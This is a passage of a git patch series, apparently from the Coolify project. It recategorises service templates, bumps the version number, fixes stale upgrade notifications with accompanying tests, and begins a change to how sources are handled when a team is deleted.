         "port": "3000"
@@ -3451,7 +3451,7 @@
             "google",
             "alternative"
         ],
-        "category": "devtools",
+        "category": "analytics",
         "logo": "svgs/openpanel.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -3471,7 +3471,7 @@
             "no-code",
             "embeddable"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svg/opnform.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3488,7 +3488,7 @@
             "orangehrm",
             "hr management"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/orangehrm.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3515,7 +3515,7 @@
             "support",
             "open-source"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/osticket.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -3572,7 +3572,7 @@
         "slogan": "Palworld.yaml",
         "compose": "c2VydmljZXM6CiAgcGFsd29ybGQ6CiAgICBpbWFnZTogJ3RoaWpzdmFubG9lZi9wYWx3b3JsZC1zZXJ2ZXItZG9ja2VyOnYxLjQuNicKICAgIHN0b3BfZ3JhY2VfcGVyaW9kOiAzMHMKICAgIHBvcnRzOgogICAgICAtICc4MjExOjgyMTEvdWRwJwogICAgICAtICcyNzAxNToyNzAxNS91ZHAnCiAgICB2b2x1bWVzOgogICAgICAtICdwYWx3b3JsZC1kYXRhOi9wYWx3b3JsZC8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnVFo9JHtUWjo/VVRDfScKICAgICAgLSAnUFVJRD0ke1BVSUQ6PzEwMDB9JwogICAgICAtICdQR0lEPSR7UEdJRDo/MTAwMH0nCiAgICAgIC0gJ01VTFRJVEhSRUFESU5HPSR7TVVMVElUSFJFQURJTkc6P2ZhbHNlfScKICAgICAgLSAnTUFYX1BMQVlFUlM9JHtQTEFZRVJTOj8xNn0nCiAgICAgIC0gJ1NFUlZFUl9OQU1FPSR7U0VSVkVSX05BTUU6P3BhbHdvcmxkLXNlcnZlci1kb2NrZXIgYnkgVGhpanMgdmFuIExvZWYgdmlhIENvb2xpZnl9JwogICAgICAtICdTRVJWRVJfREVTQ1JJUFRJT049JHtTRVJWRVJfREVTQ1JJUFRJT046P3BhbHdvcmxkLXNlcnZlci1kb2NrZXIgYnkgVGhpanMgdmFuIExvZWYgdmlhIENvb2xpZnl9JwogICAgICAtICdTRVJWRVJfUEFTU1dPUkQ9JHtTRVJWRVJfUEFTU1dPUkQ6P3dvcmxkb2ZwYWxzfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtBRE1JTl9QQVNTV09SRDotYWRtaW5QYXNzd29yZH0nCiAgICAgIC0gJ0NPTU1VTklUWT0ke0NPTU1VTklUWTo/ZmFsc2V9JwogICAgICAtICdQVUJMSUNfSVA9JHtQVUJMSUNfSVA6LX0nCiAgICAgIC0gJ1BVQkxJQ19QT1JUPSR7UFVCTElDX1BPUlQ6PzgyMTF9JwogICAgICAtICdQT1JUPSR7UE9SVDo/ODIxMX0nCiAgICAgIC0gJ1FVRVJZX1BPUlQ9JHtRVUVSWV9QT1JUOj8yNzAxNX0nCiAgICAgIC0gJ1VQREFURV9PTl9CT09UPSR7VVBEQVRFX09OX0JPT1Q6P3RydWV9JwogICAgICAtICdSQ09OX0VOQUJMRUQ9JHtSQ09OX0VOQUJMRUQ6P3RydWV9JwogICAgICAtICdSQ09OX1BPUlQ9JHtSQ09OX1BPUlQ6PzI1NTc1fScKICAgICAgLSAnQkFDS1VQX0VOQUJMRUQ9JHtCQUNLVVBfRU5BQkxFRDo/dHJ1ZX0nCiAgICAgIC0gJ0RFTEVURV9PTERfQkFDS1VQUz0ke0RFTEVURV9PTERfQkFDS1VQUzo/ZmFsc2V9JwogICAgICAtICdPTERfQkFDS1VQX0RBWVM9JHtPTERfQkFDS1VQX0RBWVM6PzMwfScKICAgICAgLSAnQkFDS1VQX0NST05fRVhQUkVTU0lPTj0ke0JBQ0tVUF9DUk9OX0VYUFJFU1NJT046PzAgMCAqICogKn0nCiAgICAgIC0gJ0FVVE9fVVBEQVRFX0VOQUJMRUQ9JHtBVVRPX1VQREFURV9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fVVBEQVRFX0NST05fRVhQUkVTU0lPTj0ke0FVVE9fVVBEQVRFX0NST05fRVhQUkVTU0lPTjo/MCAqICogKiAqfScKICAgICAgLSAnQVVUT19VUERBVEVfV0FSTl9NSU5VVEVTPSR7QVVUT19VUERBVEVfV0FSTl9NSU5VVEVTOj8zMH0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0VOQUJMRUQ9JHtBVVRPX1JFQk9PVF9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0VWRU5fSUZfUExBWUVSU19PTkxJTkU9JHtBVVRPX1JFQk9PVF9FVkVOX0lGX1BMQVlFUlNfT05MSU5FOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX1dBUk5fTUlOVVRFUz0ke0FVVE9fUkVCT09UX1dBUk5fTUlOVVRFUzo/NX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0NST05fRVhQUkVTU0lPTj0ke0FVVE9fUkVCT09UX0NST05fRVhQUkVTU0lPTjo/MCAwICogKiAqfScKICAgICAgLSAnQVVUT19QQVVTRV9FTkFCTEVEPSR7QVVUT19QQVVTRV9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUEFVU0VfVElNRU9VVF9FU1Q9JHtBVVRPX1BBVVNFX1RJTUVPVVRfRVNUOj8xODB9JwogICAgICAtICdBVVRPX1BBVVNFX0xPRz0ke0FVVE9fUEFVU0VfTE9HOj90cnVlfScKICAgICAgLSAnQVVUT19QQVVTRV9ERUJVRz0ke0FVVE9fUEFVU0VfREVCVUc6P2ZhbHNlfScKICAgICAgLSAnRU5BQkxFX1BMQVlFUl9MT0dHSU5HPSR7RU5BQkxFX1BMQVlFUl9MT0dHSU5HOj90cnVlfScKICAgICAgLSAnUExBWUVSX0xPR0dJTkdfUE9MTF9QRVJJT0Q9JHtQTEFZRVJfTE9HR0lOR19QT0xMX1BFUklPRDo/NX0nCiAgICAgIC0gJ0RJRkZJQ1VMVFk9JHtESUZGSUNVTFRZOj9Ob25lfScKICAgICAgLSAnUkFORE9NSVpFUl9UWVBFPSR7UkFORE9NSVpFUl9UWVBFOi19JwogICAgICAtICdSQU5ET01JWkVSX1NFRUQ9JHtSQU5ET01JWkVSX1NFRUQ6P25vbmV9JwogICAgICAtICdEQVlUSU1FX1NQRUVEUkFURT0ke0RBWVRJTUVfU1BFRURSQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ05JR0hUVElNRV9TUEVFRFJBVEU9JHtOSUdIVFRJTUVfU1BFRURSQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0VYUF9SQVRFPSR7RVhQX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnUEFMX0NBUFRVUkVfUkFURT0ke1BBTF9DQVBUVVJFX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnUEFMX1NQQVdOX05VTV9SQVRFPSR7UEFMX1NQQVdOX05VTV9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ1BBTF9EQU1BR0VfUkFURV9BVFRBQ0s9JHtQQUxfREFNQUdFX1JBVEVfQVRUQUNLOj8xLjAwMDAwMH0nCiAgICAgIC0gJ1BBTF9EQU1BR0VfUkFURV9ERUZFTlNFPSR7UEFMX0RBTUFHRV9SQVRFX0RFRkVOU0U6PzEuMDAwMDAwfScKICAgICAgLSAnUExBWUVSX0RBTUFHRV9SQVRFX0FUVEFDSz0ke1BMQVlFUl9EQU1BR0VfUkFURV9BVFRBQ0s6PzEuMDAwMDAwfScKICAgICAgLSAnUExBWUVSX0RBTUFHRV9SQVRFX0RFRkVOU0U9JHtQTEFZRVJfREFNQUdFX1JBVEVfREVGRU5TRTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfU1RPTUFDSF9ERUNSRUFTRV9SQVRFPSR7UExBWUVSX1NUT01BQ0hfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfU1RBTUlOQV9ERUNSRUFTRV9SQVRFPSR7UExBWUVSX1NUQU1JTkFfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfQVVUT19IUF9SRUdFTl9SQVRFPSR7UExBWUVSX0FVVE9fSFBfUkVHRU5fUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfQVVUT19IUF9SRUdFTl9SQVRFX0lOX1NMRUVQPSR7UExBWUVSX0FVVE9fSFBfUkVHRU5fUkFURV9JTl9TTEVFUDo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfU1RPTUFDSF9ERUNSRUFTRV9SQVRFPSR7UEFMX1NUT01BQ0hfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfU1RBTUlOQV9ERUNSRUFTRV9SQVRFPSR7UEFMX1NUQU1JTkFfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfQVVUT19IUF9SRUdFTl9SQVRFPSR7UEFMX0FVVE9fSFBfUkVHRU5fUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfQVVUT19IUF9SRUdFTl9SQVRFX0lOX1NMRUVQPSR7UEFMX0FVVE9fSFBfUkVHRU5fUkFURV9JTl9TTEVFUDo/MS4wMDAwMDB9JwogICAgICAtICdCVUlMRF9PQkpFQ1RfSFBfUkFURT0ke0JVSUxEX09CSkVDVF9IUF9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0JVSUxEX09CSkVDVF9EQU1BR0VfUkFURT0ke0JVSUxEX09CSkVDVF9EQU1BR0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdCVUlMRF9PQkpFQ1RfREVURVJJT1JBVElPTl9EQU1BR0VfUkFURT0ke0JVSUxEX09CSkVDVF9ERVRFUklPUkFUSU9OX0RBTUFHRV9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0NPTExFQ1RJT05fRFJPUF9SQVRFPSR7Q09MTEVDVElPTl9EUk9QX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09MTEVDVElPTl9PQkpFQ1RfSFBfUkFURT0ke0NPTExFQ1RJT05fT0JKRUNUX0hQX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09MTEVDVElPTl9PQkpFQ1RfUkVTUEFXTl9TUEVFRF9SQVRFPSR7Q09MTEVDVElPTl9PQkpFQ1RfUkVTUEFXTl9TUEVFRF9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0VORU1ZX0RST1BfSVRFTV9SQVRFPSR7RU5FTVlfRFJPUF9JVEVNX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnREVBVEhfUEVOQUxUWT0ke0RFQVRIX1BFTkFMVFk6P0FsbH0nCiAgICAgIC0gJ0VOQUJMRV9QTEFZRVJfVE9fUExBWUVSX0RBTUFHRT0ke0VOQUJMRV9QTEFZRVJfVE9fUExBWUVSX0RBTUFHRTo/RmFsc2V9JwogICAgICAtICdFTkFCTEVfRlJJRU5ETFlfRklSRT0ke0VOQUJMRV9GUklFTkRMWV9GSVJFOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9JTlZBREVSX0VORU1ZPSR7RU5BQkxFX0lOVkFERVJfRU5FTVk6P1RydWV9JwogICAgICAtICdBQ1RJVkVfVU5LTz0ke0FDVElWRV9VTktPOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9BSU1fQVNTSVNUX1BBRD0ke0VOQUJMRV9BSU1fQVNTSVNUX1BBRDo/VHJ1ZX0nCiAgICAgIC0gJ0VOQUJMRV9BSU1fQVNTSVNUX0tFWUJPQVJEPSR7RU5BQkxFX0FJTV9BU1NJU1RfS0VZQk9BUkQ6P0ZhbHNlfScKICAgICAgLSAnRFJPUF9JVEVNX01BWF9OVU09JHtEUk9QX0lURU1fTUFYX05VTTo/MzAwMH0nCiAgICAgIC0gJ0RST1BfSVRFTV9NQVhfTlVNX1VOS089JHtEUk9QX0lURU1fTUFYX05VTV9VTktPOj8xMDB9JwogICAgICAtICdCQVNFX0NBTVBfTUFYX05VTT0ke0JBU0VfQ0FNUF9NQVhfTlVNOj8xMjh9JwogICAgICAtICdCQVNFX0NBTVBfV09SS0VSX01BWF9OVU09JHtCQVNFX0NBTVBfV09SS0VSX01BWF9OVU06PzE1fScKICAgICAgLSAnRFJPUF9JVEVNX0FMSVZFX01BWF9IT1VSUz0ke0RST1BfSVRFTV9BTElWRV9NQVhfSE9VUlM6PzEuMDAwMDAwfScKICAgICAgLSAnQVVUT19SRVNFVF9HVUlMRF9OT19PTkxJTkVfUExBWUVSUz0ke0FVVE9fUkVTRVRfR1VJTERfTk9fT05MSU5FX1BMQVlFUlM6P0ZhbHNlfScKICAgICAgLSAnQVVUT19SRVNFVF9HVUlMRF9USU1FX05PX09OTElORV9QTEFZRVJTPSR7QVVUT19SRVNFVF9HVUlMRF9USU1FX05PX09OTElORV9QTEFZRVJTOj83Mi4wMDAwMDB9JwogICAgICAtICdHVUlMRF9QTEFZRVJfTUFYX05VTT0ke0dVSUxEX1BMQVlFUl9NQVhfTlVNOj8yMH0nCiAgICAgIC0gJ0JBU0VfQ0FNUF9NQVhfTlVNX0lOX0dVSUxEPSR7QkFTRV9DQU1QX01BWF9OVU1fSU5fR1VJTEQ6PzR9JwogICAgICAtICdQQUxfRUdHX0RFRkFVTFRfSEFUQ0hJTkdfVElNRT0ke1BBTF9FR0dfREVGQVVMVF9IQVRDSElOR19USU1FOj83Mi4wMDAwMDB9JwogICAgICAtICdXT1JLX1NQRUVEX1JBVEU9JHtXT1JLX1NQRUVEX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQVVUT19TQVZFX1NQQU49JHtBVVRPX1NBVkVfU1BBTjo/MzAuMDAwMDAwfScKICAgICAgLSAnSVNfTVVMVElQTEFZPSR7SVNfTVVMVElQTEFZOj9GYWxzZX0nCiAgICAgIC0gJ0lTX1BWUD0ke0lTX1BWUDo/RmFsc2V9JwogICAgICAtICdIQVJEQ09SRT0ke0hBUkRDT1JFOj9GYWxzZX0nCiAgICAgIC0gJ1BBTF9MT1NUPSR7UEFMX0xPU1Q6P0ZhbHNlfScKICAgICAgLSAnQ0FOX1BJQ0tVUF9PVEhFUl9HVUlMRF9ERUFUSF9QRU5BTFRZX0RST1A9JHtDQU5fUElDS1VQX09USEVSX0dVSUxEX0RFQVRIX1BFTkFMVFlfRFJPUDo/RmFsc2V9JwogICAgICAtICdFTkFCTEVfTk9OX0xPR0lOX1BFTkFMVFk9JHtFTkFCTEVfTk9OX0xPR0lOX1BFTkFMVFk6P1RydWV9JwogICAgICAtICdFTkFCTEVfRkFTVF9UUkFWRUw9JHtFTkFCTEVfRkFTVF9UUkFWRUw6P1RydWV9JwogICAgICAtICdJU19TVEFSVF9MT0NBVElPTl9TRUxFQ1RfQllfTUFQPSR7SVNfU1RBUlRfTE9DQVRJT05fU0VMRUNUX0JZX01BUDo/VHJ1ZX0nCiAgICAgIC0gJ0VYSVNUX1BMQVlFUl9BRlRFUl9MT0dPVVQ9JHtFWElTVF9QTEFZRVJfQUZURVJfTE9HT1VUOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9ERUZFTlNFX09USEVSX0dVSUxEX1BMQVlFUj0ke0VOQUJMRV9ERUZFTlNFX09USEVSX0dVSUxEX1BMQVlFUjo/RmFsc2V9JwogICAgICAtICdJTlZJU0lCTEVfT1RIRVJfR1VJTERfQkFTRV9DQU1QX0FSRUFfRlg9JHtJTlZJU0lCTEVfT1RIRVJfR1VJTERfQkFTRV9DQU1QX0FSRUFfRlg6P0ZhbHNlfScKICAgICAgLSAnQlVJTERfQVJFQV9MSU1JVD0ke0JVSUxEX0FSRUFfTElNSVQ6P0ZhbHNlfScKICAgICAgLSAnSVRFTV9XRUlHSFRfUkFURT0ke0lURU1fV0VJR0hUX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09PUF9QTEFZRVJfTUFYX05VTT0ke0NPT1BfUExBWUVSX01BWF9OVU06PzR9JwogICAgICAtICdSRUdJT049JHtSRUdJT046LX0nCiAgICAgIC0gJ1VTRUFVVEg9JHtVU0VBVVRIOj9UcnVlfScKICAgICAgLSAnQkFOX0xJU1RfVVJMPSR7QkFOX0xJU1RfVVJMOj9odHRwczovL2FwaS5wYWx3b3JsZGdhbWUuY29tL2FwaS9iYW5saXN0LnR4dH0nCiAgICAgIC0gJ1JFU1RfQVBJX0VOQUJMRUQ9JHtSRVNUX0FQSV9FTkFCTEVEOj9GYWxzZX0nCiAgICAgIC0gJ1JFU1RfQVBJX1BPUlQ9JHtSRVNUX0FQSV9QT1JUOj84MjEyfScKICAgICAgLSAnU0hPV19QTEFZRVJfTElTVD0ke1NIT1dfUExBWUVSX0xJU1Q6P1RydWV9JwogICAgICAtICdFTkFCTEVfUFJFREFUT1JfQk9TU19QQUw9JHtFTkFCTEVfUFJFREFUT1JfQk9TU19QQUw6P1RydWV9JwogICAgICAtICdNQVhfQlVJTERJTkdfTElNSVRfTlVNPSR7TUFYX0JVSUxESU5HX0xJTUlUX05VTTo/MH0nCiAgICAgIC0gJ1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFPSR7U0VSVkVSX1JFUExJQ0FURV9QQVdOX0NVTExfRElTVEFOQ0U6PzE1MDAwLjAwMDAwMH0nCiAgICAgIC0gJ1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFX0lOX0JBU0VfQ0FNUD0ke1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFX0lOX0JBU0VfQ0FNUDo/NTAwMC4wMDAwMDB9JwogICAgICAtICdDUk9TU1BMQVlfUExBVEZPUk1TPSR7Q1JPU1NQTEFZX1BMQVRGT1JNUzo/KFN0ZWFtLFhib3gsUFM1LE1hYyl9JwogICAgICAtICdVU0VfQkFDS1VQX1NBVkVfREFUQT0ke1VTRV9CQUNLVVBfU0FWRV9EQVRBOj9UcnVlfScKICAgICAgLSAnVVNFX0RFUE9UX0RPV05MT0FERVI9JHtVU0VfREVQT1RfRE9XTkxPQURFUjo/RmFsc2V9JwogICAgICAtICdJTlNUQUxMX0JFVEFfSU5TSURFUj0ke0lOU1RBTExfQkVUQV9JTlNJREVSOj9GYWxzZX0nCiAgICAgIC0gJ0FMTE9XX0dMT0JBTF9QQUxCT1hfRVhQT1JUPSR7QUxMT1dfR0xPQkFMX1BBTEJPWF9FWFBPUlQ6P1RydWV9JwogICAgICAtICdBTExPV19HTE9CQUxfUEFMQk9YX0lNUE9SVD0ke0FMTE9XX0dMT0JBTF9QQUxCT1hfSU1QT1JUOj9GYWxzZX0nCiAgICAgIC0gJ0VRVUlQTUVOVF9EVVJBQklMSVRZX0RBTUFHRV9SQVRFPSR7RVFVSVBNRU5UX0RVUkFCSUxJVFlfREFNQUdFX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnSVRFTV9DT05UQUlORVJfRk9SQ0VfTUFSS19ESVJUWV9JTlRFUlZBTD0ke0lURU1fQ09OVEFJTkVSX0ZPUkNFX01BUktfRElSVFlfSU5URVJWQUw6PzEuMDAwMDAwfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19TVFJPTkdNRU09JHtCT1g2NF9EWU5BUkVDX1NUUk9OR01FTTotfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19CSUdCTE9DSz0ke0JPWDY0X0RZTkFSRUNfQklHQkxPQ0s6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfU0FGRUZMQUdTPSR7Qk9YNjRfRFlOQVJFQ19TQUZFRkxBR1M6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfRkFTVFJPVU5EPSR7Qk9YNjRfRFlOQVJFQ19GQVNUUk9VTkQ6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfRkFTVE5BTj0ke0JPWDY0X0RZTkFSRUNfRkFTVE5BTjotfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19YODdET1VCTEU9JHtCT1g2NF9EWU5BUkVDX1g4N0RPVUJMRTotfScK",
         "tags": null,
-        "category": null,
+        "category": "games",
         "logo": "svgs/default.webp",
         "minversion": "0.0.0"
     },
@@ -3610,7 +3610,7 @@
             "billing",
             "open source"
         ],
-        "category": "cms",
+        "category": "finance",
         "logo": "svgs/paymenter.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3728,7 +3728,7 @@
             "automation",
             "aws"
         ],
-        "category": "automation",
+        "category": "email",
         "logo": "svgs/plunk.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -3876,7 +3876,7 @@
             "hoppscotch",
             "cors"
         ],
-        "category": null,
+        "category": "proxy",
         "logo": "svgs/hoppscotch.png",
         "minversion": "0.0.0",
         "port": "9159"
@@ -4029,7 +4029,7 @@
             "redmine",
             "project management"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svgs/redmine.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4211,7 +4211,7 @@
             "file",
             "webdav"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/sftpgo.png",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4248,7 +4248,7 @@
             "traces",
             "metrics"
         ],
-        "category": null,
+        "category": "monitoring",
         "logo": "svgs/signoz.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4262,7 +4262,7 @@
             "markdown",
             "pkm"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svgs/silverbullet.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4341,7 +4341,7 @@
             "app-manager",
             "dashboard"
         ],
-        "category": null,
+        "category": "devtools",
         "logo": "svgs/soketi-app-manager.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4734,7 +4734,7 @@
             "self-hosted",
             "dashboard"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/twenty.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4779,7 +4779,7 @@
             "ab testing",
             "open source"
         ],
-        "category": "productivity",
+        "category": "devtools",
         "logo": "svgs/unleash.svg",
         "minversion": "0.0.0",
         "port": "4242"
@@ -4795,7 +4795,7 @@
             "ab testing",
             "open source"
         ],
-        "category": "productivity",
+        "category": "devtools",
         "logo": "svgs/unleash.svg",
         "minversion": "0.0.0",
         "port": "4242"
@@ -4888,7 +4888,7 @@
             "self-hosting",
             "postmark"
         ],
-        "category": "messaging",
+        "category": "email",
         "logo": "svgs/usesend.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -5298,7 +5298,7 @@
         "tags": [
             "storage"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/cells.svg",
         "minversion": "0.0.0",
         "port": "8080"
diff --git a/versions.json b/versions.json
index a6b1936e6..26d755967 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.471"
+            "version": "4.0.0-beta.472"
         },
         "nightly": {
             "version": "4.0.0"

From dbd2b68a08f2b7a782381491dc9ca77e8a2b87fc Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 14:31:12 +0200
Subject: [PATCH 027/102] fix(upgrade): clear stale upgrade flag when version
 is already current

Refactor upgrade state initialization into a shared `refreshUpgradeState()`
method used by both `mount()` and `checkUpdate()`. The method now uses
`version_compare` to validate upgrade availability and clears the
`new_version_available` flag in InstanceSettings when the current version
is already equal to or newer than the latest version, preventing stale
upgrade notifications from persisting after a successful update.
---
 app/Livewire/Upgrade.php               | 35 ++++++++++----
 tests/Feature/UpgradeComponentTest.php | 65 +++++++++++++++++++++++++-
 2 files changed, 90 insertions(+), 10 deletions(-)

diff --git a/app/Livewire/Upgrade.php b/app/Livewire/Upgrade.php
index 25cedc71b..1b8701d94 100644
--- a/app/Livewire/Upgrade.php
+++ b/app/Livewire/Upgrade.php
@@ -23,25 +23,42 @@ class Upgrade extends Component
 
     public function mount()
     {
-        $this->currentVersion = config('constants.coolify.version');
-        $this->latestVersion = get_latest_version_of_coolify();
-        $this->devMode = isDev();
+        $this->refreshUpgradeState();
     }
 
     public function checkUpdate()
     {
         try {
-            $this->latestVersion = get_latest_version_of_coolify();
-            $this->currentVersion = config('constants.coolify.version');
-            $this->isUpgradeAvailable = data_get(InstanceSettings::get(), 'new_version_available', false);
-            if (isDev()) {
-                $this->isUpgradeAvailable = true;
-            }
+            $this->refreshUpgradeState();
         } catch (\Throwable $e) {
             return handleError($e, $this);
         }
     }
 
+    protected function refreshUpgradeState(): void
+    {
+        $this->currentVersion = config('constants.coolify.version');
+        $this->latestVersion = get_latest_version_of_coolify();
+        $this->devMode = isDev();
+
+        if ($this->devMode) {
+            $this->isUpgradeAvailable = true;
+
+            return;
+        }
+
+        $settings = InstanceSettings::find(0);
+        $hasNewerVersion = version_compare($this->latestVersion, $this->currentVersion, '>');
+        $newVersionAvailable = (bool) data_get($settings, 'new_version_available', false);
+
+        if ($settings && $newVersionAvailable && ! $hasNewerVersion) {
+            $settings->update(['new_version_available' => false]);
+            $newVersionAvailable = false;
+        }
+
+        $this->isUpgradeAvailable = $hasNewerVersion && $newVersionAvailable;
+    }
+
     public function upgrade()
     {
         try {
diff --git a/tests/Feature/UpgradeComponentTest.php b/tests/Feature/UpgradeComponentTest.php
index 612e989ae..896e0fa3b 100644
--- a/tests/Feature/UpgradeComponentTest.php
+++ b/tests/Feature/UpgradeComponentTest.php
@@ -1,11 +1,19 @@
 <?php
 
 use App\Livewire\Upgrade;
+use App\Models\InstanceSettings;
+use Illuminate\Foundation\Testing\RefreshDatabase;
 use Illuminate\Support\Facades\Cache;
 use Livewire\Livewire;
 
+uses(RefreshDatabase::class);
+
 it('initializes latest version during mount from cached versions data', function () {
     config(['constants.coolify.version' => '4.0.0-beta.998']);
+    InstanceSettings::create([
+        'id' => 0,
+        'new_version_available' => true,
+    ]);
 
     Cache::shouldReceive('remember')
         ->once()
@@ -21,12 +29,17 @@
     Livewire::test(Upgrade::class)
         ->assertSet('currentVersion', '4.0.0-beta.998')
         ->assertSet('latestVersion', '4.0.0-beta.999')
-        ->set('isUpgradeAvailable', true)
+        ->assertSet('isUpgradeAvailable', true)
         ->assertSee('4.0.0-beta.998')
         ->assertSee('4.0.0-beta.999');
 });
 
 it('falls back to 0.0.0 during mount when cached versions data is unavailable', function () {
+    InstanceSettings::create([
+        'id' => 0,
+        'new_version_available' => false,
+    ]);
+
     Cache::shouldReceive('remember')
         ->once()
         ->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
@@ -35,3 +48,53 @@
     Livewire::test(Upgrade::class)
         ->assertSet('latestVersion', '0.0.0');
 });
+
+it('clears stale upgrade availability when current version already matches latest version', function () {
+    config(['constants.coolify.version' => '4.0.0-beta.999']);
+    InstanceSettings::create([
+        'id' => 0,
+        'new_version_available' => true,
+    ]);
+
+    Cache::shouldReceive('remember')
+        ->once()
+        ->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
+        ->andReturn([
+            'coolify' => [
+                'v4' => [
+                    'version' => '4.0.0-beta.999',
+                ],
+            ],
+        ]);
+
+    Livewire::test(Upgrade::class)
+        ->assertSet('latestVersion', '4.0.0-beta.999')
+        ->assertSet('isUpgradeAvailable', false);
+
+    expect(InstanceSettings::findOrFail(0)->new_version_available)->toBeFalse();
+});
+
+it('clears stale upgrade availability when current version is newer than cached latest version', function () {
+    config(['constants.coolify.version' => '4.0.0-beta.1000']);
+    InstanceSettings::create([
+        'id' => 0,
+        'new_version_available' => true,
+    ]);
+
+    Cache::shouldReceive('remember')
+        ->once()
+        ->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
+        ->andReturn([
+            'coolify' => [
+                'v4' => [
+                    'version' => '4.0.0-beta.999',
+                ],
+            ],
+        ]);
+
+    Livewire::test(Upgrade::class)
+        ->assertSet('latestVersion', '4.0.0-beta.999')
+        ->assertSet('isUpgradeAvailable', false);
+
+    expect(InstanceSettings::findOrFail(0)->new_version_available)->toBeFalse();
+});

From 7d2c776ae7e2f0b442a6d46416345bb638742f60 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 14:51:52 +0200
Subject: [PATCH 028/102] fix(team): transfer instance-wide sources to root
 team on deletion

Instead of nullifying source references on applications when a team is
deleted, transfer instance-wide GitHub/GitLab apps to the root team
(team_id=0) so they remain available to other teams that depend on them.

Non-instance-wide sources are still deleted along with the team.
---
 app/Models/Team.php                           | 27 +++---
 app/Models/User.php                           | 17 ----
 .../Feature/UserDeletionWithGithubAppTest.php | 92 +++++++++++++++----
 3 files changed, 88 insertions(+), 48 deletions(-)

diff --git a/app/Models/Team.php b/app/Models/Team.php
index 479bf4e00..d5d564444 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -71,27 +71,31 @@ protected static function booted()
             }
         });
 
-        static::deleting(function ($team) {
-            $keys = $team->privateKeys;
-            foreach ($keys as $key) {
+        static::deleting(function (Team $team) {
+            foreach ($team->privateKeys as $key) {
                 $key->delete();
             }
-            // Only delete sources owned by this team, not system-wide ones from other teams
+
+            // Transfer instance-wide sources to root team so they remain available
